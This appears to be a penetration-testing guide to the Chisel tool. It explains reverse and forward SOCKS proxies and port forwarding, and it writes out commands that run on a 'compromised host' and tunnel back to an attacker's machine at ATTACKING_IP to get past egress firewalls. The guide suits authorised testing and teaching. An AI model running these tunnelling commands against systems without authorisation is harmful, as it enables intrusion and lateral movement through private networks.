Chisel: Proxy and Port Forwarding Guide
Chisel: Proxy and Port Forwarding Guide
The reverse SOCKS proxy in Chisel establishes a connection from a compromised server back to a listener on the attacker's machine, with the proxy ultimately operating on 127.0.0.1:1080 on the attacker's device . This is done to navigate egress firewall rules, which are typically less restrictive, allowing outbound traffic . Conversely, the forward SOCKS proxy is initiated by starting the chisel server on the compromised host, opening the proxy directly on the attacker's machine at a chosen PROXY_PORT. This mode is less common due to more stringent ingress firewall rules that typically block inbound connections .
Using a tool like Chisel can introduce significant security risks to a network as it facilitates bypassing firewall restrictions and network segmentation defenses by establishing unauthorized tunnels and proxies . Such capabilities might be exploited for lateral movement within a network, data exfiltration, or command and control operations by adversaries . It can undermine network monitoring and intrusion detection systems by obfuscating traffic patterns that usually trigger alerts when using conventional direct connection methods .
In penetration testing, Chisel is valuable for evading detection and accessing network segments that are otherwise isolated, acting as a conduit for data channels without SSH dependencies . It allows testers to establish reverse connections which can overcome rigid firewall rules, facilitating reconnaissance and exploitation . However, its reliance on compromised host cooperation for server-side setup can be a limitation in environments with strong endpoint security mechanisms or where deploying binaries is restricted . Tools like Chisel demand intrinsic trust and control over both sides of the connection, which may not always be possible in strict security environments .
Chisel operates in two main modes: client and server. The server mode listens for incoming connections, while the client mode establishes connections to a server. In setting up tunnels, the tool can be configured for reverse SOCKS proxying by establishing a connection from the compromised machine back to the attacker's system, facilitating data flow through a listener port . Alternatively, it can function in forward proxy configurations, where the proxy is initiated at the compromised host, directing traffic outwards to the attacker's network .
The syntax for setting up a forward SOCKS proxy with Chisel involves starting the server on the compromised host using ./chisel server -p LISTEN_PORT --socks5, then connecting a client from the attacker's machine using: ./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks . For reverse SOCKS proxy, the server is started on the attacker's machine with ./chisel server -p LISTEN_PORT --reverse & and then the connecting client on the compromised host uses: ./chisel client ATTACKING_IP:LISTEN_PORT R:socks & . The key difference lies in the direction of the initiation of the server and client roles between the host and the attacker’s machine.
Chisel enhances the flexibility of network tool deployment by offering cross-platform compatibility through statically compiled binaries for both Linux and Windows . Unlike native platform tools tied to specific environments or dependencies, Chisel can be effectively utilized wherever Golang binaries are supported, cutting across typical OS barriers . Its simplicity in setup and operation circumvents the complexities of configuring SSH for similar tasks, making it accessible for users without extensive configuration expertise while supporting diverse network features like proxies and tunnels .
Chisel provides significant benefits over traditional SSH methods by not requiring SSH access to the compromised system, making it versatile for situations where standard SSH setups are infeasible . It is easily deployable across systems due to its static binaries for multiple operating systems without needing SSH configuration . Moreover, Chisel offers a simplified command structure for complex tunnel setups, reducing configuration overhead typically associated with SSH proxy chains and port forwardings .
In a scenario where an attacker wants to access a service running on port 22 of a target within a compromised network, they could start a chisel server on their machine using: ./chisel server -p 1337 --reverse & . From the compromised machine, they execute: ./chisel client ATTACKING_IP:1337 R:2222:TARGET_IP:22 &. This command sets port 2222 of the attacker's machine as a conduit to access the target’s port 22 . This setup mimics an SSH reverse port forward, allowing SSH access to the remote target through a local interface at 127.0.0.1:2222 .
Configuring the correct proxy port in proxychains when using Chisel is crucial for directing network traffic properly through the established proxy tunnel. For reverse SOCKS proxies, the port should be set to 1080, as this is the default where the proxy opens despite the listener port specified . For forward proxies, the proxychains configuration should set the port to the PROXY_PORT defined in the chisel client command, as this is where the proxy will be operational . This ensures that all outgoing traffic is routed through the intended SOCKS5 proxy setup, aligning with Chisel's operations .
To set up a local port forward using Chisel, first, the chisel server must be started on the compromised target with the command: ./chisel server -p LISTEN_PORT . Next, from the attacking machine, a client connects to this setup using: ./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT. This connects the client's local port (LOCAL_PORT) to the target IP and port on the network through the compromised host .